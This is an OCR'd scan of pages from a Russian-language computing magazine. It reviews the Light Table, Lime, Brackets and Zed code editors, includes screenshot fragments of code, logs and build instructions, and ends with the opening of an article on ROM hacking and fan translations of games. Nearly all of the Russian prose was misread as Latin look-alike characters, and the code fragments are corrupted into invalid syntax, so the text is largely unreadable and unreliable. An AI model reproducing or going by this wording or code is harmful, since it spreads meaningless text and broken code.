MeHHblX TeKCTOBblX peAaKTOpaX H e AO CT3T0 MHO XOpOLUO BnHCblBaeTCFI B COBpeMeHHbIM 

workflow. Eonn KpaTKO, 3aAana Light Table — CAe/iaTb npouecc pa3pa6oTKM no-Ha- 
CTO^iAeiviy MHTepaKTMBHbiM m Har/i^AHbiM, Aasaa pa3pa6oTHMKy MOMeHTanbHbiPi c|)ma- 
6eK Ha /iro6oe AewcTBue, TeM carvibiM noMoraa 6bicTpee opneHTnpoBaTbCfl b SojibLuoM 
KOAe. MMeHHO c TaKoPi MAeew Kpi/ic noAancfl Ha Kickstarter m AOCTaTOHHO 6biCTpo co- 
6pan Ha pa3pa6oTKy npoeKTa 316 720 AO/i/iapOB npi/i 3aflBJieHHOM ue/in b 200 TbicflH. 
HeM xe KOHKpeTHO v\f\ev\ Kpuca TaK npi/irrmHyni/icb 6ewKepaM? 

Oahom i/i3 caMbix KpyTbix oco6eHHOCTeM Light Table HB/ifleTCH B03M0XH0CTb pa6o- 
TaTb c AOKyrvieHTauMeM no xoAy HanncaHna KOAa. HTo6bi yBMAeTb onucaHne 4>yHi<unn, 
AOCTaTOHHO npocTO HaBecTM Ha Hee Kypcop. PeAaicrop MOMeHTanbHO h3magt i/i Bbme- 
AeT AOKyivieHTauMrO no 3anpoLiieHHOM c^yHKunn nnn naparvieTpy (b cnynae c build-in 
MeTOAarviM) nnn noKaxeT prepend-onncaHne cfjyHKUMM, ocTaBneHHoe nparvio b koao. 
HeM-TO 3to HanoMMHaeT aBTOKOMn/iMT, KOTopbifi Hcno/ibsyeTca b cpeAe pa3pa6oTKn 
Visual Studio ot Microsoft, ho 3HaHHTe/ibHO 6o/iee rny6oKMft n MomHbiM. 

Btopom Knnnep-cj)MHeM mokho Ha3BaTb MrHOBeHHoe Bbino/iHeHi/ie cJ^yHKunPi no xoAy 
HanMcaHM^ KOAa. 3to no3BormeT b pexHMe OT/iaAKH npo6oBaTb pa3JiMHHbie BxoAHbie 
yc/iOBM^ m BMAeTb He TO/ibKO pe3y/ibTaT, ho m KaK nepervieHHbie npoxoA^T nepe3 Becb 
koa- Toxe AOCTaTOHHO none3Hafl LUTyKa, oco6eHHO KorAa Tbi He yBepeH b pe3ynbTaTe 
Bbino^HeHna KaKoro-Tin6o ynacTKa KOAa. 

TpeTbjq cjDHLUKa Light Table — yHHKa/ibHaa B03MO>KHOCTb opraHM3aunn KOAa b t3k Ha- 
3biBaeMbie Ta6nnubi. Ohh npeACTaBrmiOT co6om nornHecKM 3aBepLiieHHbie 6noKw KOAa, 
nepe3 KOTopbie moxho HarrmAHO npeACTaBMTb B3ai/iMOAeMCTBne OTAe/ibHbtx cfjyHKUMM 
nporpaMMbi. C noMombrO stom (tH/im/i oneHb yAo6HO pa3AennTb c^ann Ha HecKO/ibKO He- 

3aBHCMMblX 6/10KOB-C|)yHKUMM M pa60TaTb C HMMM, COOpyAHB HeKOe nOA06ne HaCTOfl- 

inero Aaiu6opAa 1/13 KOAa. TaKxe npn^THOM oco6eHHOCTbrO HBrmeTca i/iHTenjieKTyajib- 
Haa noACBeTKa 6jiokob — b stom c/iynae LuaHCbi 3anyTaTbca b m 6e3 Toro HarrmAHOM 
workflow CTpervmTCfl k nyjuo. 

HecMOTpa Ha AOBO/ibHO HenpuBbiHHyK) (J)M/iococJ)MrO, Light Table — sto, HecoMHeH- 



Zen 

17711 downloads 
Distraction free writing. 



Learn More 



Color Picker 



ho, peAaKTop HOBoro noKoneHi/m. Ero 0nLUKa He b tom, hto oh HanncaH Ha MOAHbix 
TexHO/iornqx, a b M3MeHeHMM caMoro noAxofla k npoueccy pa3pa6oTKn cnoxHoro 110. 
HaBepHoe, npn pa6oTe c npocTeHbKMMi/i JS-CKpunTaMM pea/ibHafl ivioiMb Light Table 
He nosyBCTByeTCH, ho A-na npoeKTOB nyTb nocnoxHee oh CTaHeT He3aMeHMMbiM mh- 
CTpyMeHTOM. Hy>KHO TO/ibKO npuBbiKHyTb. Ho bot 3to KaK pa3-TaKM 6yAeT HenpocTO. 



eoo 



Light Table 



van square - function(x, cb) { 
C b(*«x); 



JavaScript, CSS, and HTML live. 

Browser (External) 

Connect to an external browser via 
script tag to eval JavaScript, CSS, 
and HTML live. 



square(2S, -function ( res ){ 
console. log(res) 



Clojure 

Select a project, clj to connect to for 
either Clojure or ClojureScrlpt. 



□jure (remote nREPL) 

ter In the host: port address of an 
EPL server to connect to 



Light Table UI 

Connect to this Instance of Light 
Table and evaluate In the local 




Bbi6npaeM MHTepnpeTaTop h ncno.ni-meM inline-KOfl c ero noMC-mbK) 



lightable . examples . calc 



1 iqhtnblr ,fi»rtm|jlpn.c!orp 
lint- item 



greetings 



lightable . examples . pong 




pieased-Keys 

on-koyprofin 
on-keyrelease 
pressed? 
vcl-to-dxy 
red >deg 

ll<!q->rmcj 



hlr-bonndn? 



intersects / 



hit-obj? 
aigaed-rand 



reflect-wlth- wobble 




[UL'lpalvial glL'cLingii x; 

ihBddBI I 

(map |li«t-lt— 1 ["yo"J)JJ 
i footecj) ) 



(riefparr la", greetings [x] 
(header) 

l!Ul 

(nip lint-Una ["yo"])]] 
(footer)) 



(defparcia.. list-Item a I 

1:11 -hey " •)) 



(defpartial header [1 

{:dlv 

[:hl •The greet Inqs Hat!"] 
(link-to "/'.ogln" "login")]) 



<d«:p«t 

[:dlv 
UP 



Uei footer [) 

.footer 

"Thanks for visiting*]]) 



setup-f rasie 

t|rtmn-ntatc 

pong-obj 



change-state 



Koa MoweT 6biTb npeflCTaB/ieH b BMfle Ta6jikiu, 



Lime 



limetext.org 



Becb Lime moxho onucaTb OAHoPi-eflUHCTBeHHOM M3BecTH0M <t>pa30M 5o6yKa — 6/iecK 
m HMiuieTa oneHCopca. ripoeKT, HanaTbiM b npownoM toay OpeAPHKOM «quarnster>> 3h- 
6omom (Fredrik Ehnbom), pewaeT eAUHCTBeHHyio, ho noi-mTHyK) 3aAany: co3AaTb oneH- 
copHbiM KOHCTpyKTOp no o6pa3y h noAo6nK) Sublime Text. ripuHMHa TaKoro xe/iaHMfl 
flCHa — aBTop, ropanuM noK/iOHHHK Sublime, 6bm HeAOBoneH BfuibiM pa3BMTMeM npoeK- 
Ta n OTcyTCTB m e m 6aHajibHoro wcnpaBJieHkm 6aroB nponuibix Bepcufi. V\p,en 0Ka3a/iacb 
6/in3Ka HecKO/ibKMM AecaTKaM eAUHOMbiuineHHi/iKOB, m BCKOpe CBeT ysv\f\ena nepBaa Bep- 
c\A9\ Lime. 

riepBoe, hto OTTa/i km BaeT npn 3HaK0MCTBe c stmm peAaKTopoM, — o~rcyTCTBne xoTb 
KaKoro-Hn6yAb noAo6i/m 61/mapHbix naKeTOB. B u,e/iOM jiorwKa TaKoro peiueHMfl noHHTHa: 
Lime — sto m He ue/ibHoe npn/ioxeHne, a Ha6op v\3 OTAenbHoro 63KeHAa Ha H3biKe Go 
n napbi ({>poHTeHAOB Ha Bbi6op. OAnaKO Jierne ot 3toi~o He CTaHOBHTca — nonbrnca c Ha- 
CKOKa 3acTaBMTb Lime a/ieMem-apHO pa6oiaTb npeBpamaeTcn b yB/ieKaTe/ibHyio bo3hio 

C 3aBMCMM0CTf1MM Go, KOHCf)HraMH M npOHMMH paAOCTHMl/l XM3HM. 

Hto KacaeTCfl pa6oTbi b stom peAaicrope, Ha AaHHbiM momcht OHa OTKpoBeHHO Hey- 
Ao6Ha, m HanncaTb 3A©cb o HeM-TO yHMKa/ibHOM, no cy™, Henero. Lime noKa He MOxeT 
noxBacTaTbca Aaxe TeMM 4>yH Ku.ua mm, KOTopbie b Apyrwx TeKCTOBbix peAaKTopax Bocnpi/i- 
HMMajOTca KaK AonxHoe. Co3AaeTca BneMameHne, hto pa3pa6oTHMKM noKayAe/iflfOT KyAa 
6o/ibLue BHMMaHMfl apxnTeKType npnno>KeHMq m HHCTOTe KOAa, neivi ct>yHKu,MOHa^y. J2,o ne- 
KOTopoPi CTeneHM cnTyau.nK) cnacaeT HacTHHHaa coBMecTHMOCTb c API Sublime (Hy 1/1 He- 
KOTopbix HacTefi TextMate, cooTBeTCTBeHHo), ho, HecMOTpa Ha sto, c K)3a6miMTM y Lime 
ocTafOTCFi 60/ibLune npo6neMbi. 

B ue/iOM Ha ceroAH^LUHMM AeHb Lime ocTaB/iaeT ABOHKoe BnenaT/ieHHe. HaBepHoe, 

3T0 3AOpOBO, KOrAa TBOM pa60HMM MHCTpyMeHT nOJlHOCTbKD OneHCOpHbIM M HaCTOTIbKO 

tmSkmm. Ho A3B3M 6yAeM necTHbi c co6om: CKO/ibKMM M3 Hac KorAa-Jin6o npuiAeT b ronoBy 
nepenncaTb 4>poHTeHA CBoero TeKCTOBoro peAaKTopa? CKO/ibKHM M3 Hac BOo6m,e npwAOT 
b ronoBy 3aHHMaTbca pa3pa6oTKoPi TeKCTOBoro peAaKTopa noA ce6a M3-3a KaKux-TO Hey- 
Ao6ctb BMecTO Toro, HTo6bi Mcnonb30BaTb 3T0T MHCTpyMeHT no np^MOMy Ha3HaHeHMK) — 
a MMeHHO nwcaTb b HeM cbom nporpaMMbi? Bo/ibiui/iHCTBy pa3pa6oTHMKOB (oco6eHHO TeM, 
kto He 60/ieH CTO/i/iMaHOM rojiOBHoro M03ra) 3a nna3a xb3tht c|)yHKu,MOHana Sublime Text 
h ero cwcTeMbi rman/iHOB Ana peweHHH noBceAHeBHbix 3aAan. Aa v\ eonn necTHO, 3a He- 
CKonbKO JieT exeAneBHOM pa6oTbi b Sublime n He BCTpena/i KaKux-TO CBepxKpMTUHHbix 
6aroB, An^ kotopnx 6bi He CMor HaMTi/i CBoero workaround'a. TaK hto Ha a^hhom 3Tane 
no-HacTO^moMy Lime noAoPiAeT Jinnib ynepTbiM cf>aHaTaM oneHCopca c orpoMHbiM ko/im- 
necTBOM CBo6oAHoro BpeMeHM n xe^aHneM CAe^aTb stot mmp nyTOHKy ^ynme. 






irport ( 

"<oo>.t»oo,l«r.co«/p/lo«45C'" 



var ( 

lut ■ mapltcrabox. • Jbackcnd.Kr r r»r css{ 



ternbox. : backend. • .{Ctrl: true. Key: }, 

tcrabex.Kc/CtrU: backcnd. KeyPresifCtrl: true, Key: }, 
tcrabox.KeyCtrlB: backend. (Ctrl: true. Key: 



Meeteae 79 (2813/18/23 16:89:18 CESTI IOEBC) <«oin. («tb«c). loop: 4281 Using 256 color node 

80388891 139 [2613/ie/23 16:e9:16 CEST] [INFOJ [llne/backend. ((Editor). loadKeyblnding:13S) Loaded . ./. . /backcnd/packages/Def ault/Def ault. jubliae-keyajap 
80888243 142 (2613/16/23 16:69:16 CEST] [INFO] (Ume/backend.(»Edltor).loadKeyblndlng:136) Loaded . ./. ./3rdparty/bundles/Vintageou»/0efault.*ubliM-keyinap 
C0ae0J9B 138 (2813/18/23 16:89: 16 CEST] [INFO] I lime/backend. (•Editor) . loadSetting:154) Loaded . . /. . /backend/packages/Default/Def ault . subUsfc-settings 



Lime y>Ke cePiHacMMeeTHaBbi6op ABa (^poHTeHfla. CKopo 6yfleT m TpeTnti Ha Dart 



900 0llgHtuW«- Google S«rih < 0 light ub^h^h^br-C - 0 light ubfc k 



Qiuiltling • hnnwxt/UmtV 



^ ■* G Q CilHub. Inc. [US) h«pi.//github.com/limelext/lime/wiki/Buildln9 



(jjtHljb This reposlioiv - 

[Q limetext/lime 
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Sign In 



Building 

quamsler edited ihrs page on May 4 - 25 commits 

• Fiuildirvj-orvWinclows 

• Duil«ry>c^r^<)S-X-109-Mav«fK;ks 

■ Buikjing-orvVao/anl 

Install required components 

■ Pylhon3.3 

• Oniguruma 

• Gil 

• Mercurial 

• fin 1 ? lnatnHori nnri some familiarity with writing rorin In Go. 

Download the needed repositories 

go get glthub.coa/lieetext/llee/frontind/leinbox 

II you havo various other go code on your machine, it's possible that your local code of thoso 
libraries arc stalo nnd need to be updated In thnt instance you enn run the following command that 
will update flH dependencies: 



go get -u glthub-coe/UeetextmiK/'rontend/tersoox 



* Star M4* p Fork no 





<> 
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Building 

Dulldlngon Mac OS X 10.9 
Maverick* 


■ 


Building on Vagrant 




Building on window* 


„ 


Gonlr. 

Home 




Implementing command! 




Questions about the Cod* 




What you should know ... 




Clone this w.ki locally 




http»://github.co«s/ltMt»» (§ 




9 Clone In Desktop 





HecMOTpa HaflOBO^bHO noflpo6HbiM Main, coc6opKoPi Bee paBHO 6biBaiOT c/io>khoctm 



Brackets ot Adobe 



brackets. io 



Brackets — nocTaTOWHO mojioaom (pa3pa6oTKa BeneTCH c 2011 rona), ho MHTepecHbiM 



npoeKT ot Adobe. Ero ue/ib He3aMbionoBaTa — co3AaTb MMHWvia.ni/iCTi/iHHyio m komcJdopt- 
HyK) cpeAY pa3pa6oTKM, KOTOpaa 6bi Tpe6oBajia mhhmmym ycminii co dopoHbi AeBeno- 
nepa. Ha MoePi naivmTi/i 6bmo yxe HeManoe Koni/inecTBO npoeKTOB co cxoxmmm ue/mMiri. 
AaBaM nocMOTpwvi, nonyHi/inocb jii/i y Adobe c noMombfo KOMbioHi/iTi/i CAe/iaTb hto-to hh- 
TepecHoe n Ha stom nonpi/im,e. 

Ha yAMBneHne, Brackets no/iynmicji BecbMa Henjioxi/iM. Bee Heo6xoAHMoe pa6oTa- 
eT M3 kopo6km (noone Lime Aaxe sto CTaHOBi/iTca b HeKOTopoM CMbicne nniocoM). npo- 
eKT Ae^CTBHTe^bHO peujaeT cbojo maBHyio 3aAany — oCnernaeT HanwcaHHe KOAa, xoth 
m Ae/iaeT sto npaKTi/inecKM 6e3 KaKnx-^n6o npnHu,nnna/ibHO HOBbix noAxoAOB. M KoraTH, 
b 3tom HeT Hunero nnoxoro. 

Brackets HanncaH Ha HTML/JS (cnacn6o, hto He Flash v\nv\ Adobe AIR :)), TecHO mh- 
TerpnpoBaH c Node.js. BHeiuHe 1/13 kopo6ki/i npon3BOAHT BecbMa Snaronpi/iHTHoe BnenaT- 
jieHne (npaBAa, He 6e3 naneia HeKOTopofi i/irpyiueHHOc™). Hto w\eH9\ noAKyni/ino c Haxa- 
t\a9\ nepBOM K/iaBMLLiM — T3K 3to noTpqcaK)LU,MM aBTOKOMn/inT Arm HTML/CSS/JS/jQuery. 
Oh AeMCTBMTe/ibHoyMHbiM n KTOMyxe coAepxi/iT mhoxcctbo npn^THbix MenonePi (Hanpi/i- 
Mep, BCTpoeHHbiPi color-picker i/ini/i Ty/i3y pnn ryi/iumoro noA^opa transition 'ob b CSS). 

Ho maBHOM Knnnep-(J)HHeM n/\9\ MeHfl CTa/io inline-peAaKTwpoBaHi/ie CBH3aHHbix 
ynacTKOB KOAa. 3to B03MOXHOCTb nocMOTpeTb n OTpeAaKTi/ipoBaTb, CKaxeM, Ha6op CSS- 
cbomctb <div>'a no ero icnaccy i/ijih ID-wHi/iKy npaivio H3 HTML-c^afi/ia BepcTKn b OTAenb- 
hom o6nacTM. Brackets b peanbHOM BpeivieHui aHa.ni/i3iipyeT CTpyKTypy TBoero npoeKTa, 
ctpout AepeBO 3aBMCMMOCTeM m no3BormeT nucaTb B3anM03aBncnMbie ynacTKM KOAa, 
npaKTunecKM He noKMAaa ocHOBHoro KOHTeKCTa (patina. npn3Haiocb, wvieHHO t3kom c})yHK- 
u,MOHa/i 9\ nunun napy neT Ha3aA b CBoeM npocTeHbKOM tckctobom peAaKTope (yBepeH, 
He 9\ oahh). TaK hto noAo6Haa qbuLUKa He MOxeT He paAOBaTb. 

M3 ocTanbHbix oco6eHHOCTefi mo>kho BbiAe/iMTb 6biCTpbiw AOCTyn k AOKyMeHTau.nn 
(npaBAa, He HacmnbKO AeTa/in3npoBaHHbiM, KaK y Light Table), JSLint M3 kopo6km m cmm- 
naTMHHbM MeHeA>Kep nnan/iHOB. Xoth, kohchho, TaKi/iM 061/uii/ieM naKeTOB, KaKy Sublime, 
Brackets noKa noxBaoraTbCfl He CMOxeT. 

B u,enoM, HecMOTpa Ha noAAepxKy b HeKOTopoM CTeneHM, Hanpniviep, Ruby hjim 
Python, Brackets opweHTHpoBaH b nepByK) onepeAb Ha 0pOHTeHA-pa3pa6oTHMKOB. Oh ot- 
jihhho cnpaBMTCfl c HyxAaMM BepcTa/ibU4MKOB, b neM-TO ocTaB^qq no3aAn Aaxe cneu.ua- 
/in3npoBaHHbie IDE. Hunero peBonioui/iOHHO HOBoro, Kporvie inline-peAaicn/ipoBaHHfl KOAa, 
tw b HeM He HaMAeiub. OAnaKO to, hto ecTb, CAe/iaHO Ha coBecTb i/i c ayluom. Ecjim Tbi npe- 
MMyu^ecTBeHHO BepcTaenib mjim ni/nueiub K/ineHTCKnw koa Ha He cjimlukom 3aiviopOHeHHOM 
CTeKe, Bno/iHe bo3moxho, Brackets npi/iAeTca Te6e no AyLue. 



• • • 

Working File. 1} 

• backbone.iobind.js 



twinstteam-frontenti • 

.gillgnore 
zo<j state 
Gruntfile 
► node modules 
package ison 
readme.md 



» rnltpp 
► fonts 
» img 



• src/js/vendor/backbone.iobind.js — Brackets 



/Hi * (dnamp lOHinn 

288 « yparam {String} evenrName 

209 » @param {Object} io from active socket. io connection 

210 • @param {Function} callback 

211 • Qparam {Object} context (optional): Object to interpret as this on callback 

212 • (?3p1 public 

213 •/ 
214 

?1S Barkhnnp.Collprrinn. prototype. inBinri = ftinrrion (evpntNamp, io, rallhark, rnnrpxt) { 

216 var loEvents = thls._loEvents || (Th1s._1oEvents = {}) 

217 , globalName - . result(this, "url') * ♦ eventName 

218 , self = this; 

219 if ('function' == typeof io) { 

220 context = callback; 

221 callb 

222 io = callback ndow. socket || Backbone . socket; 

223 } 

224 var event = { 

225 name: eventName, 



• |ade 

•J* 
* vendor 

harkhonp inhind ' 
backbono.iosync : 
jquery.tiles-gallery 

► less 



776 giohai: giohaiNamp, 

227 cbLocal: callback, 

228 cbGlobal: function () { 

229 var args - [eventName] ; 

230 args. push. apply(args, arguments); 

231 self .trigger. 3pply(self, args); 



50* JSLint Problems 


& Missing 'use strict' statement. 


if (typeof define an 'function' U. define, amdl ( 


K F«|wt«i "H" tteolumn s. notcolumn 1 


if (typenf rli-f inp = 'function' M, define amd) ( 


6 'deline' was used before it was delined 


it (typeof deline= 'function' ttdeline.amd) 1 


a txpectcd 'define' at column not column i. 


defined backbone', 'underscore , sockct.io','|query'|. factory); 


9 Expeaed')'atcolumn5.notcolumn3. 


I else if (typeof c«porrs === 'object') 1 


9 'eauuils' was used before il was defined. 


| else if (lyucuf eiuuits — 'ubjett') ( 


Une 221. Column 10 3!SUnn 


INS JavaScript A Spates. 4 



M3Kopo6KM Brackets oneHb o6jierHaeT>KH3Hb pa3pa6oT4MKa 



backbone.iobind.js 



Gruntfile ■ 

package . 

rcadme.mrf 



backbone.ioblr 
Iwkhonp insyr 
jqucry. tiles gal 



src/js/vendor/backbone.iobind.js — Brackets 



I'param {String} eventName 

pparam {Object} 1o from active socket. io connection 




Available Installed 

Bpraiitinus whpn installing p«tpnsinns from an unknown snurrp 



Ubock 



rontpxt) { 



GitHubAccess 

Rpf nharrl Sirilngpr 

DCVimg for Orackets 

JoepSui|kcrbui|l> 



W3CValidation 

Raymond Camden 



Allows you to clone any github repo to your local f ilesystem 
via Cirl+Alt+f. 

More info... 



This extension requires a newer version ol Brackets. 

Plarphnlript imagps marip pasy Adds an emlrp img html 
element with a placeholder or just a placeholder image url 
without the img tag. 

Moie Info.- 



Keywords: (object Object) 

Adds Wsf validation support to BrarkpK 

More info... 



Install 



Install 



Keywords, lint linting linter 



Install from URL... 



I 



H duelled ')' at column 5, nut lulun 

'exports' was used before it was defined. 

Line 221. Column 10 Jlilinei 



I else If (lyucuf cauuiIs — 'object') I 
\ else If (typeof exports = 'object') I 



INS JavaScript j\ Spaces: 4 



y Brackets AekiCTBMTe/ibHO npi/mTHbiki MeHeflwep naKeTOB 



zedapp.org 



Zed — era AOBO/ibHO xMncTepcKMM TeKCTOBbiM peAaKTop, KOTopbiw TaKxe nbuaeTca ne- 
peocMbicjnuTb coBpeMeHHbiM npouecc pa3pa6o~rKi/i 110. Ec/im Light Table npo6yeT M3Me- 
HMTb caM npMHi_i,ivin pa3pa6oTKM, to Zed b ochobhom orpaHMHMBaeTCfl SKcnepMMeHTaMivi 
c iriHTepcfjeMCOM. Pa3pa6oTKa 6bma HanaTa b 2011 roAy, n Ha ceroAHaLUHMM AeHb Ha o(f>n- 
Ui/iajibHOM caPiTe Zed AOCTyneH b BMAe 6nHapHMKOB noA ocHOBHbie n/iaTcfjopMbi, a Taxxe 
b KanecTBe npi/moxeHi/m Ana Chrome Web Store. 

riepBoe, hto SpocaeTcn b nna3a npn 3HaKOMCTBe c Zed, — OTcyTCTBue npuBbHHbix 
snervieHTOB MHTepcfjeivica BpoAe AepeBa npoeKTa min BK/iaAOK. flo ct3to h h o cnopHbiM war, 



Becb 3aHacTyio npw pa3pa6oTKe 3HaHMTe/ibH0 Jierne opueHTupoBaTbca b dpyKType npo- 
eicra MMeHHO no AepeBy. Ho bot b OTcyTCTBun Ta6oB HeKoe pauwoHa/ibHoe 3epHO ecTb: 
o6biHHO npn pa6oTe c 6ojibiunMM npooKTaMM KO/iMHGCTBO OTKpbiTbix BK/iaflOK pa3pacTa- 
eicn 3KcnoHeHu,najibHO, n yxe nepe3 nonnaca pa6oTbi npnxoAHTca nocTOHHHO xoflMTb 
no hum, 3aKpbiBafl to, c neM Tbi He pa6oTaeiiib b AaHHbiM momoht. B Zed xe HaBurauna 
no npoeKTy ocyLAecTB/meTCfl v\nv\ c noMOLUbK) npbiXKa Hanp^MyK) k HyxHOMy cj^aM/iy 
b npoeKTe no ero Ha3BaHMK) (Ctr/Cmd + E) nepe3 HeGo/ibwyK) KOHConb b BepxHew nacTn 
npnnoxeHM5i. 

Btopom 3anoMHHaK)Lu,eMCfl oco6eHHOCTbio Zed HBrmeTCH ynop Ha MHoroKonoHOHHbiM 
MHTepcjDeMC. PeAaKTop noAAopxuBaeT HecKonbKO <$>MKCnpoBaHHbix BapwaHTOB cnnnia pa- 
6onero npocTpaHCTBa — 50/50%, 25/75% n TaK Aa/iee. Ctoht OTMeTHTb, hto BTopaa (mii/i 
Aaxe TpeTbfl) KO/iOHKa npeAHa3HaneHa He mnbKO Ana OAHOBpeivieHHoro peAaKTi/ipoBaHwa 
HecKO/ibKnx t^aw/iOB, ho TaKxe i/i pj]9\ MOMeHTanbHoro npeAnpocMOTpa KOAa Ha H3biKax, 
Tpe6yK)innx nponpou,eccnHra (TaKi/ix KaK Markdown uni/i CoffeeScript). 

ripn pa6oTe c Zed oneHb nyBCTByeTCH ero opneHTnpoBaHHOCTb Ha yAaneHHoe peAaK- 
TupoBaHwe. TaK, M3 kopo6km oh \amqqt LunKapHyio noAAepxKy peAaKTupoBaHna fyawnoB 
M3 Dropbox m/im HanpHMyio Ha yAaneHHOM cepBepe m noAAopxHBaeT ceccMM. Ho bot 
MMeHHO K3K peAaKTop Zed BecbMa 6eAeH. Ero BCTpoeHHoe aBTOAono/iHeHne 6a3wpyeTCH 
Ha onoBape, oh He MMeeT yAoSHbix cpeACTB pa6oTbi c pacujupeHnaiviM, He no3BonaeT Ha- 
CTponTb Ul TaK, KaK xoTe/iocb 6bi. Xoth, HaBepHoe, Zed npocTO He 06 stom. 

KcTaTM, He/ib3fl He OTMeTMTb, hto Zed BecbMa 3aAyMHMB. BpeivieHaMM npmio>KeHne 

AOCTaTOHHO HaAOJirO 3aCTblBaeT \A Tep^eT BCflKyfO OT3blBHl/IBOCTb, HTO, KOHeHHO, He Ao6aB- 

nnej yAo6cTBa k m TaK AOBO/ibHO Heo6biHHOMy SKcnupneHcy. 

B o6laom, Zed CTpaHHbiM, v\ oh OAH03HanHO He ja,nn Bcex. Ecnn Tbi He 3aMopaHHBaeLUb- 
C9\ c 6ecKOHeHHofi HacTpoPiKOM no^b30BaTe/ibCKoro nHTepqbeMca, Te6e BaxHa nepeHO- 
CMMOCTb, B03M0XH0CTb CTa6mibHoro peAaKTupOBaHi/m ct>aM/iOB Ha yAa/ieHHOM cepBepe 
n Tbi roTOB nonpo6oBaTb hto-to Heo6bHHoe, Moxewb nonrpaTbca. Ho Ana noBceAHeBHO- 
ro HanncaHM^ KOAa Zed abho He noAOMAGT. 



• o e 

Zed Projects » 

Type to filter project list 

To open the selected project press Enter, to delete press Delete. 
^| Open Locol Folder 

H Open Dropbox Folder 
O Notes 

Configuration 
CQ Manual 

Edit Remote Files » 

URL to edit remotely 

To edit remote Files, run ted on the server . Paste the URL scd returns into this box and press Enter. 

You o^e running Zed vesion 0.11.3 



1/1 3 kopo6km Zed opueHTupoBaH HayAa/ieHHoe peflaKTupoBaHne 




/mongodb/corrt roWers/GrxphCont roller, javg 
Return creates antl/ar opens this file. 

53 ©/mongodb/controllers/Collection<orniroller. java 

54 O /"togodb/controllers/DotaboseController . javo 

55 O /mongoOD/ control lers/oocunerttcontrol ler . java 
lO/mongodb/controllers/GraphController. java 
O /mongodb/controllers/GridFSCont roller . java 
O /monoodb/ control lers/Logi nControl ler . java 
Q /nongoCb/controllers/Logout-Conlroller. java 



S7 
58 
59 
60 



O /nongodb/controllers/StatisticsCorttroller . java 

— s«x<3sr injp- «xi5tmgvuniK:i.i lumus-ir loess iun ~ \3K*.^3\.< iiiy>j se^a iut i . yeuwviriDu^ev. eAivirnyvuniiti-t lornuiixii jess i 



61 if (existingConnectionldsInSession — null) { 

b/ invalidHTTPRequestException e » new invalidHnPHequestExceptionCtrrorCodes. INVALID_SESSION, "Invalid Session"); 

63 return farmErrorResponseClugger , e); 

64 } 

65 ^ 

66 String response - null; 

h/ if (connectionld —null II (existingConnectionldsInSession. eontains(eonnectionld)) { 

68 InvalidhTTPRequestException e - new InvalidHTTPRequestExceptionCErrorCodes.INVALID.CONNECTION, "Invalid Connection") 

69 return formErrorResponse(logger, e); 

n } 

71 return response; 

n > 

73 

74 /•• 

75 • Returns the JSON error response after an invalid dblnfo is found. 

76 • 

77 * eporam logger Logger to log the error response. 

78 • Prelum JSON Error response. 

79 •/ 

80 protected static String formErrorResponse(Logger logger, ApplicationException e) { 

81 String response - null; 

82 JSONObject JsonErrorResponse - new JSONObjectO; 

83 JSONObject error - new JSONObject(); 

84 try { 

85 error, put ("code", e.getErrorCodeO); 

86 error. put("message", e.getMessageO); 

87 logger. errorCerror, e); 

88 

89 JSONObject tempResponse - new JSONObjectQ; 

90 tempResponse.put("error", error); 



HaBuraLiMfl ocyuiecTB/ifleTCH c noMom,bho GoTo-naHe/iM 



PC ZONE 



MEHflEM 
flPABMJlA MrPbl 



BBEflEHME 
B POMXAKI/IHf 



/],0 nO£BJieHM£ Jia3epHblX A^CKOB V\ 06/iaK0B KOHCOJlbHbie 

nrpbi BbixoA^/iM Ha KapipMflxax. Te, kto 3acTa/i fleB^HO- 
CTbie, HaBepH^Ka noMH^T caMbie nonyn^pHbie b HaLuei/i 
CTpaHe MrpoBbie npi/iCTaBKM Dendy (pocci/ii/icKi/ii/i kjioh 
^noHCKOi/i Famicom) v\ Sega Mega Drive. Ecjii/i oneHb 
xoneTC^i «BepHyTbc^i k i/iCTOKaM» — BcerAa moxho 3a- 
nycTMTb 3My/i^Top. Ho moxho i~ioi7iti/i 1/1 nyTb fla/ibi_ue — 
a hto, ecjiM noKonaTbc^ b caMOM Mrpe? floSpo noxano- 
BaTb b eMy-cueHy. 

3My-cu,eHOM Ha3biBaiOT coo6mecTBO 3HTy3nac~roB, 4)opMMpyKDUj,eeca BOKpyr tom 
M/1M MHOM npMCTaBKH. 3l\A S\\Of\V\ KOBbipqJOTCR B CBOetf J1K)6HMOfi n^aT(J)OpMe BAOJlb 
n nonepeK: BbucnaAbiBaiOT no/iHbie Aaivinbi KapTpMflxeM (ROM'bi), npwAyMbiBaiOT 
cnoco6bi A/ifl nx MOAncf)MKai4MM m Ao6nBafOTC^ nopofi caMbix Heo6blHHblX pe3y/ibTaTOB. 
CaMbiM pacnpocTpaHeHHbiM npMMep — j10Ka.nl/13aLU/ifl i/irp. Ho moxho i~iomti/i m Aa/ibLue. 
KaK Te6e ncTopna npo nyBaKa, KOTopbiM xaKaji ROM'bi nrp Ana NES, 3aivieHflfl MyxcKnx 
nepcoHaxePi Ha xeHCKwx? A hto em,e npwKaxeujb Ae/iaTb, ecnw ero aohkg xoneTca wrpaTb 
3a AeBoneK, a b Donkey Kong TaKoPi bo3moxhoctm He npeAycMOTpeHO? 

KPATKMM 3KCKYPC 

CaMbiM maBHbiM to/ihkom, noc/iyxMBLUMM nofiBjieHMK) poivixaKMH- 
ra, CTa/ia MCTOpi/m c nrpoPi Final Fantasy V b 1992 roAy- flnoHCKaa 
KOMnaHna Squaresoft peuumia He n3AaBaTb wrpy b CLJJA, nocHM- 
TaB ee c/imlukom cjioxhom a/ib 3anaAHbix nrpoKOB. C noflB/ieHweM 
3M\/nnuy\v\ 3anaAHbie 3HTy3i/iac~rbi He connaci/mi/icb c anoHuaiviM 
n He TO^bKO cbirpa^M b Hee, ho i/i BbinycTn/iH nepBbiPi /iK)6nTejib- 
ckmm nepeBOA o6pa3a KapTpi/iAxa. OcjDnu.Ma/ibHoro xe nepeBO- 
Aa Ha aHmnMCKMM He 6bmo Bn/iOTb ao nepew3AaHi/m FFV b kohlub 
1999-ro Ha PlayStation. 1/lMeHHO c nepeBOAa Final Fantasy V m no- 
^BM/iacb pyccKaa poMxaKMHr-cu,eHa, sto 6h\n agSkdthhm npoeKT 
rpynnbi «LUeAeBp» b 2001 roAy- 

B 1994 roAy HCTopua OTnacTM noBTopn/iacb m c Final Fantasy 
VI. Ha 3tot pa3 nrpa Bbnu/ia b CLUA (noA Ha3BaHneM Final Fantasy 
III), sepe3 HecKO/ibKO Mecflu,eB nocne penma b flnoHUH (1994 toa)- 
